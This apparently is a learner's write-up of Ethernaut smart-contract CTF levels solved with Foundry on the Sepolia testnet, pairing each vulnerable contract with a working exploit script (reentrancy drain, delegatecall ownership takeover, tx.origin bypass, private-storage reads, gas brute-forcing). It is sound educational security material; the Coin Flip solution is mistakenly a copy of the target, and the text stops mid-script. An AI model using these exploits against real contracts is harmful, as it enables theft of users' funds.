Table of Contents
- 0 Hello Ethernaut
- 1 Fallback
- 2 Fallout
- 3 Coin Flip
- 4 Telephone
- 5 Token
- 6 Delegation
- 7 Force
- 8 Vault
- 9 King
- 10 Reentrancy
- 11 Elevator
- 12 Privacy
- 13 Gatekeeper One
- 14 Gatekeeper Two
- 15 Naught Coin
- 16 Preservation
- 17 Recovery
- 18 Magic Number
- 19 Alien Codex
- 20 Denial
- 21 Shop
- 22 Dex
- 23 Dex Two
- 24 Puzzle Wallet
- 25 Motorbike
- 26 Double Entry Point
- 27 Good Samaritan
- 28 Gatekeeper Three
- 29 Switch
Hello internet, I am learning web3 security by doing blockchain CTF challenges. To get to know more common vulnerabilities and put my learning knowledge from secureum bootcamp in practice I have solved ethernaut CTF challenges powered by OpenZeppelin. I have solved all these challenges by using foundry to get my hands dirty with foundry. I recommend to go through the ethereum101, solidity 101 and solidity 201 modules of the secureum bootcamp before taking up these challenges.
This repository can be useful as a template for the people who want's to solve ethernaut by using foundry. I will try my best to explain the solutions to challenges.
Solution Repo : https://github.com/TheMj0ln1r/ethernaut-foundry
Setup the codebase locally :
$ git clone https://github.com/TheMj0ln1r/ethernaut-foundry.git
$ cd ethernaut-foundry
The challenge contracts are in /src
Solution scripts under /script
You need to add a .env
file and fill following required fieds.
RPC_URL=
MY_ADDRESS=
PRIVATE_KEY=
Get some Sepolia Eth to your address. (I am using Sepolia Testnet to solve)
0 Hello Ethernaut
This is a sanity check challenge to the ethernaut. The source code was given to us. We have to deploy the instance and call the info()
method on it and follow the instructions to solve the challenge.
level0.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;
// constructor
constructor(string memory _password) public {
password = _password;
}
function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}
function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}
function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}
function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}
function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}
function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
level0Solve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import {Instance} from "src/level0.sol";
contract Level0Solve is Script{
Instance public Level0 = Instance(0xc770F44bFDAe8eD857FaBeaFF5A702B87eAeC331);
function run() external{
string memory password = Level0.password();
console.log("Password : ", password);
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
Level0.authenticate(password);
vm.stopBroadcast();
}
}
To run script :
$ source .env
$ forge script script/level0Solve.s.sol:Level0Solve --rpc-url $RPC_URL --broadcast
1 Fallback
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
- Goal :
- Our goal is to become the owner of the contract and drain all the ether of it
- Solution :
- Fallback contract sets the owner variable in
receive()
function. - To set the owner we need to pass the require check in
receive()
- To pass the check we have to send some ether with the
TX
and our sender should have some contributions in it. - So, Initially we will send contributions and then send some ether to the contract to invoke the
receive()
method. - After we sent the new owner as ourselves, we can call
withdraw()
function to drain the contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import {Fallback} from "src/Fallback.sol";
contract Level0Solve is Script{
Fallback public level1 = Fallback(payable(0x67B71283A3a53C445f33Ea0a0F8E435cD1f283E1));
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Original Owner : ", level1.owner());
level1.contribute{value: 0.0001 ether}();
address(level1).call{value: 1 wei}("");
console.log("New Owner : ", level1.owner());
console.log("Initial Balance : ", address(level1).balance);
level1.withdraw();
console.log("Final Balance : ", address(level1).balance);
vm.stopBroadcast();
}
}
To run script :
$ source .env
$ forge script script/FallbackSolve.s.sol:FallbackSolve --rpc-url $RPC_URL --broadcast
2 Fallout
Fallout.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin-contracts-06/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
- Goal :
- Claim the ownership of the contract
- Solution
- In solidity
0.6.0
the constructor of the contract is the name of the contract, later it was replaced withconstructor
keyword. - Here in this contract the constructor sets up the
owner
. - But the function
Fal1out()
is not actually a constructor, because its not same as the contract name. - So, we can call this function and claim the ownership.
FalloutSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Fallout} from "../src/Fallout.sol";
contract FalloutSolve is Script{
Fallout public level2 = Fallout(0xf66ffe7e1e2663E19fec83F39256cc3Af3513000);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Original Owner : ", level2.owner());
level2.Fal1out();
console.log("New Owner : ", level2.owner());
level2.collectAllocations();
vm.stopBroadcast();
}
}
To run script :
$ source .env
$ forge script script/FalloutSolve.s.sol:FalloutSolve --rpc-url $RPC_URL --broadcast
3 Coin Flip
CoinFlip.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
- Goal :
- We have to make the
consecutiveWins
to 10. We need to guess the coin flip consecutives 10 times.
- Solution :
- We can implement the same logic which is used to find the
side
of the coin in theCoinFlip
contract. - Write a new Attack contract which will perform the
flip()
calculation and sends the value to theCoinFlip
contract. - Since the entire computaion at both contracts happens in same transaction, the
block.hash
andblock.number
remains same the both contracts. - But we need to run the Attack script 10 times with a small amount of time delay. Because the last blockhash should not be equal to the current blockhash. So, running script at different times will change the block of the transaction.
CoinFlipSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
To run script :
$ source .env
$ forge script script/CoinFlipSolve.s.sol:CoinFlipSolve --rpc-url $RPC_URL --broadcast
4 Telephone
Telephone.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
- Goal
- Claim the ownership of the Telephone contract
- Solution
- Simply call the
changeOwner()
function from a contract. - If the
msg.sender
is equals totx.origin
which means the call was from a EOA. If its not, then the call is from a contract. - EOA is the address which originates any transation in the ethereum.
- So, we have to call the
changeOwner()
from an Attack contract.
TelephoneSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Telephone} from "../src/Telephone.sol";
contract TelephoneSolve is Script{
Telephone public telephone = Telephone(0xbB45D0C7AC29151e0309338a63a7fFEffA348585);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Original Owner : ", telephone.owner());
Attack attack = new Attack(telephone);
console.log("Attack Address : ", address(attack));
console.log("New Owner : ", telephone.owner());
vm.stopBroadcast();
}
}
contract Attack{
Telephone public telephone;
constructor(Telephone _telephone){
telephone = _telephone;
telephone.changeOwner(0x699BceEbD59a5b52bB586C737cD7ba636f3Fe602);
}
}
To run script :
$ source .env
$ forge script script/TelephoneSolve.s.sol:TelephoneSolve --rpc-url $RPC_URL --broadcast
5 Token
Token.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
- Goal
- We have initial token balance of 20, we need to get ourself more tokens.
Solution :
- This contract uses solidity pragma
0.6.0
, in which no arithmetic overflow/underflow checks are not performed by default. - In
transfer()
function the require check can be bypassed when we pass value as more than 20. - 20 - 21 = -1 which results in
2**256 - 1
. Which is>= 0
and the same will happens in the update of balance at sender. balances[msg.sender] -= _value;
will become balance[msg.sender] = 20 - 21 = 2**256 - 1.- A huge amount of tokens to our account.
To run script :
$ source .env
$ forge script script/TokenSolve.s.sol:TokenSolve --rpc-url $RPC_URL --broadcast
6 Delegation
Delegation.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
- Goal
- Claim ownership of Delegation contract
- Solution
Delegation
contracts uses delegatecall to call the other contractDelegate
.- One thing to remember with delegatecall is that it will maintain the
msg.sender
andmsg.value
when it calls other contract. - And also it updates the caller contract storage not the contract which being called.
- So, when we call
pwn()
on the Delegation address it will forward the call to Delegate contract and updates the owner variable in Delegation contract.
DelegationSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Delegation.sol";
contract DelegationSolve is Script{
Delegation public delegation = Delegation(0xFb9BeF4E9A8d68C2Bc2c4D2dE5688fbe0e8224F2);
function run() external{
vm.startBroadcast();
console.log("Initial Owner : ", delegation.owner());
address(delegation).call(abi.encodeWithSignature("pwn()"));
console.log("Final Owner : ", delegation.owner());
vm.stopBroadcast();
}
}
To run script :
$ source .env
$ forge script script/DelegationSolve.s.sol:DelegationSolve --rpc-url $RPC_URL --broadcast
7 Force
Force.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ΓΈ= /
(______)__m_m)
*/}
- Goal
- We need to make the balance of the Force contract more than 0.
- Solution
- There is no
receive()/fallback()
function and no payable functions in the Force contract. - If we send any ether to this contract it will be reverted.
- There are more ways to receive ether not just
receive()/fallback()
. - Ether can be received via coinbase transaction, i.e a mining reward.
- Also when someone called selfdestruct on any contract and mentioned our address in the recepient of the ether after selftdestruct.
- So, we can deploy a contract with some ether and implement a selfdestruct function and pass the recepient as the
Force
contract address. - Upon selfdestruct of the Attack contract it Force contract will receive ether.
ForceSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Force} from "../src/Force.sol";
contract ForceSolve is Script {
Force public force = Force(0xef1ec80b578969a99B840745178d655f3594Db99);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("balance of Force : ", address(force).balance);
new Attack{value: 100 wei}().exploit(payable(address(force)));
console.log("balance of Force : ", address(force).balance);
vm.stopBroadcast();
}
}
contract Attack{
address public owner;
constructor() payable {
owner = msg.sender;
}
function exploit(address payable _fundReceiver) public {
require(msg.sender == owner);
selfdestruct(_fundReceiver);
}
}
To run script :
$ source .env
$ forge script script/ForceSolve.s.sol:ForceSolve --rpc-url $RPC_URL --broadcast
8 Vault
Vault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
- Goal
- We need to unlock the vault.
- Solution
- We can simply call the
unlock()
function with password. But the password was not publicly accessible. - Declaring a variable
private
doesn't mean that no one can read that variable. Only the other contracts which interacts with it won't able to view that variable. - Anyone from off-chain can easily query that value. We see that password is stored in storage slot 1.
- We can use foundry cheatcode
vm.load
to read password and call theunlock()
to unlock the vault.
VaultSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Vault} from "../src/Vault.sol";
contract VaultSolve is Script {
Vault public vault = Vault(0x80C30D2FE8e45F588d70bc5D530939c7f1b22f94);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Vault locked : ", vault.locked());
bytes32 password = vm.load(address(vault), bytes32(uint256(1)));
console.logBytes32(password);
vault.unlock(password);
console.log("Vault locked : ", vault.locked());
vm.stopBroadcast();
}
}
To run script :
$ source .env
$ forge script script/VaultSolve.s.sol:VaultSolve --rpc-url $RPC_URL --broadcast
9 King
King.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
- Goal
- Be the
King
and make others dont claim theKing
position again.
- Solution
- Initially check the
prize
amount that need to send to be the king. And send theprize
amount to theKing
contract. - When someone send the
prize
amount back to us to claim the king position, we can deny the money. - So, that they wont be the king anymore.
- In order to deny the prize, we can write a contract which sends prize to the king contract and dont implement any
receive()/fallback()
function. - This will revert others transaction when they sends prize to us, So, we will remain as the king.
KingSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {King} from "../src/King.sol";
contract KingSolve is Script {
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
King king = King(payable(0xCF1EE241C905C39Add26C82d4a2CCcBC6D070fC2));
uint _prize = king.prize();
console.log("Current King : ", king._king());
console.log("Current Prize : ",_prize);
new Attack().exploit{value: _prize}();
console.log("Final King : ", king._king());
vm.stopBroadcast();
}
}
contract Attack{
King public king = King(payable(0xCF1EE241C905C39Add26C82d4a2CCcBC6D070fC2));
function exploit() public payable{
address(king).call{value : msg.value}("");
}
}
To run script :
$ source .env
$ forge script script/KingSolve.s.sol:KingSolve --rpc-url $RPC_URL --broadcast
10 Reentrancy
Reentrancy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
- Goal
- Drain all the ether of the Reentrance contract
- Solution
- The
withdraw()
function is vulnerable toReentrancy
, as it is updating the user balance after the external call. - One could deposit some ether to pass the require check in withdraw and and call the withdraw from a contract in which a fallback function is implemented in such a way that it is re entered into withdraw again.
- So, we will donate some ether to the contract and then call withdraw from a contract.
- The withdraw call send our ether back and invokes the fallback or receive function of our contract.
- We can call the
withdraw()
function again from the fallback function to reenter again intoReentrance
contract. - Still we can manage to pass require check as our balance wasn't updated yet.
- We need to check the balance of the
Reentrance
contract before reentering because when we call the withdraw again after the balance ofReentrance
becomes zero will revert the entire transaction.
ReentrancySolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Reentrance} from "../src/Reentrancy.sol";
contract ReentrancySolve is Script{
Reentrance public reentrance = Reentrance(0xD063dA7e4876694Cf31a23c7bb61e38184FD5B02);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Initial Balance : ", address(reentrance).balance);
new Attack().exploit{value: 0.001 ether}();
console.log("Final Balance : ", address(reentrance).balance);
vm.stopBroadcast();
}
}
contract Attack{
Reentrance public reentrance = Reentrance(0xD063dA7e4876694Cf31a23c7bb61e38184FD5B02);
function exploit() public payable{
reentrance.donate{value: 0.001 ether}(address(this));
reentrance.withdraw(0.001 ether);
// I need my sepolia back
msg.sender.call{value : address(this).balance}("");
}
receive() payable external{
if (address(reentrance).balance >= 0.001 ether){
reentrance.withdraw(0.001 ether);
}
}
}
To run script :
$ source .env
$ forge script script/ReentrancySolve.s.sol:ReentrancySolve --rpc-url $RPC_URL --broadcast
11 Elevator
Elevator.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
- Goal
- We need to get to the top floor, i.e make the top boolean to
true
- Solution
- The Elevator calling the
isLastFloor()
function onmsg.sender
which is insecure. Dont trust the unknown libraries or contract while making the calls. - The
top
variable is being updated upon the return value of theisLastFloor()
function. - But, To pass the
if
condition theisLastFloor()
should return thefalse
. But thetop
will becomefalse
only if it results false everytime. - We can observe that the
isLastFloor()
function is being called twice. So, we can write a contract which implementsisLastFloor()
function is such a way that is returnsfalse
on first call andtrue
on second call. - So, that the
if
condition satifsies andtop
will be updated to true.
ElevatorSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Elevator} from "../src/Elevator.sol";
contract ElevatorSolve is Script{
Elevator public elevator = Elevator(0xa32a12f573871eE4C1B6d2E9B8BA424d4cD01718);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Top : ", elevator.top());
new Attack().exploit();
console.log("Top : ", elevator.top());
vm.stopBroadcast();
}
}
contract Attack{
Elevator public elevator = Elevator(0xa32a12f573871eE4C1B6d2E9B8BA424d4cD01718);
uint public callCount;
function exploit() public payable{
elevator.goTo(10);
}
function isLastFloor(uint) external returns (bool){
callCount += 1;
if(callCount == 1){
return false;
}
return true;
}
}
To run script :
$ source .env
$ forge script script/ElevatorSolve.s.sol:ElevatorSolve --rpc-url $RPC_URL --broadcast
12 Privacy
Privacy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
- Goal
- We need to unlock the contract, i.e call
unlock()
function with right password.
- Solution
- This challenge is similar to
Vault
. But we need to understand the storage layout of this contract and query the exact passwor storage slot of the contract. - The storage layout of contract as follows :
bool public locked = true; // slot 0
uint256 public ID = block.timestamp; // slot 1
uint8 private flattening = 10; // slot 2
uint8 private denomination = 255; // slot 2
uint16 private awkwardness = uint16(block.timestamp); // slot 2
bytes32[3] private data; // data[0] => slot 3 // data[1] => slot 4 // data[2] => slot 5
- Password is the lower 16 bytes of the
data[2]
, i.erequire(_key == bytes16(data[2]));
- Since the
data[2]
stored at slot 5, we can query it withvm.load
cheatcode. - Calling unlock with this password will solve the challenge.
PrivacySolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Privacy} from "../src/Privacy.sol";
contract PrivacySolve is Script{
Privacy public privacy = Privacy(0x97Fd86fBE6F968de018C7C15B9D2f2cb2Caa94b2);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
bytes32 slot5 = vm.load(address(privacy), bytes32(uint256(5)));
console.logBytes32(slot5);
console.log("Locked : ", privacy.locked());
privacy.unlock(bytes16(slot5));
console.log("Locked : ", privacy.locked());
vm.stopBroadcast();
}
}
To run script :
$ source .env
$ forge script script/PrivacySolve.s.sol:PrivacySolve --rpc-url $RPC_URL --broadcast
13 Gatekeeper One
GatekeeperOne.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
- Goal
- Make it past the gatekeeper and register as an entrant to pass this level.
- Solution
- We have to successfully call the
enter()
function, without being revert by modifier checks. - We need to pass three modifier checks. We can simply pass
gateOne()
by calling it from another contract. - To bypass
gateTwo()
we need to send exactgas
that should result the modulo 8191 to zero. gasLeft()
is a method which calculates the remaining gas after executing instructions before it invoked.- We can pass the amount of gas to be transferred to the external call. But we need to send exact amount of gas.
- One thing that we can do is bruteforce. By randomly bruteforcing with different values of gas, we can pass this modifier check.
- To pass the
gateThree()
we need to some calculations. It takes the_gateKey
a bytes8 value as argument. - Lets calculate from last check.
uint16 third = uint16(uint160(tx.origin));
uint32 two = uint32(third);
bytes8 one = bytes8(abi.encodePacked(uint32(0xdeadbeef),two));
- The modifiers checks the lower 32 bits of the gatekey after converting to uint64.
- So, we can calculate the lower 16 bits of the
tx.orgin
and pad it with zeros to pass the gatThree and gateOne. - Two pass the gateTwo we can add random bits to the MSB position.
GatekeeperSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {GatekeeperOne} from "../src/GatekeeperOne.sol";
contract GatekeeperOneSolve is Script{
GatekeeperOne public gateOne = GatekeeperOne(0x4742252E47788a20b2C78a1343DEE68EC8De3804);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Entrant : ", address(gateOne.entrant()));
new Attack().exploit();
console.log("Entrant : ", address(gateOne.entrant()));
vm.stopBroadcast();
}
}
contract Attack{
GatekeeperOne public gateOne = GatekeeperOne(0x4742252E47788a20b2C78a1343DEE68EC8De3804);
function exploit() public {
// uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))
// uint32(uint64(_gateKey)) != uint64(_gateKey)
// uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
uint16 third = uint16(uint160(tx.origin));
uint32 two = uint32(third);
bytes8 one = bytes8(abi.encodePacked(uint32(0xdeadbeef),two));
bytes8 _gateKey = one;
for (uint i = 0; i<=500; i++){
(bool success, ) = address(gateOne).call{gas : (8191 * 4)+i}(abi.encodeWithSignature("enter(bytes8)", _gateKey));
}
}
}
To run script :
$ source .env
$ forge script script/GatekeeperOneSolve.s.sol:GatekeeperOneSolve --rpc-url $RPC_URL --broadcast
14 Gatekeeper Two
GatekeeperTwo.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
- Goal
- This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.
- Solution
- Similiar to gatekeeper one, to pass
gateOne()
here wee need to call from a contract. gateTwo()
checks that the caller contract code should zero. You think its impossible? Not at all.- Yes, code inside contract constructor won't be stored on blockchain. So, we can call the
enter()
from our attack contract constructor. - To pass the
gateThree()
we need to simple XOR operation. To get thegateKey()
we need to douint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
XORtype(uint64).max
GatekeeperTwoSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {GatekeeperTwo} from "../src/GatekeeperTwo.sol";
contract GatekeeperTwoSolve is Script{
GatekeeperTwo public gateTwo = GatekeeperTwo(0x9C11F689500821ffE630e6CFea7aC45C7226040c);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Entrant : ", address(gateTwo.entrant()));
new Attack();
console.log("Entrant : ", address(gateTwo.entrant()));
vm.stopBroadcast();
}
}
contract Attack{
// uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max
constructor() {
GatekeeperTwo gateTwo = GatekeeperTwo(0x9C11F689500821ffE630e6CFea7aC45C7226040c);
uint64 max = type(uint64).max;
uint64 hsh = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
bytes8 _gateKey = bytes8(max ^ hsh);
require(gateTwo.enter(_gateKey));
}
}
To run script :
$ source .env
$ forge script script/GatekeeperTwoSolve.s.sol:GatekeeperTwoSolve --rpc-url $RPC_URL --broadcast
15 Naught Coin
NaughtCoin.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin-contracts/contracts/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0') {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
- Goal
- NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.
- Solution
- NaughtCoin imports ERC20 contract. So, it consists of all the function of ERC20 contract also.
- NaughtCoin only implemented the
lockTokens()
modifier ontransfer()
function only. - There are other ways to transfer tokens from one address to other without using
transfer()
- Player can approve the allowances of their tokens to someone, and they can use
transferFrom()
function to transfer tokens on behalf of player.
NaughtCoinSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {NaughtCoin} from "../src/NaughtCoin.sol";
contract NaughtCoinSolve is Script{
NaughtCoin public naughtCoin = NaughtCoin(0xE4497348f2557Bb7Ecb4631426a0c2d880BE0497);
function run() external{
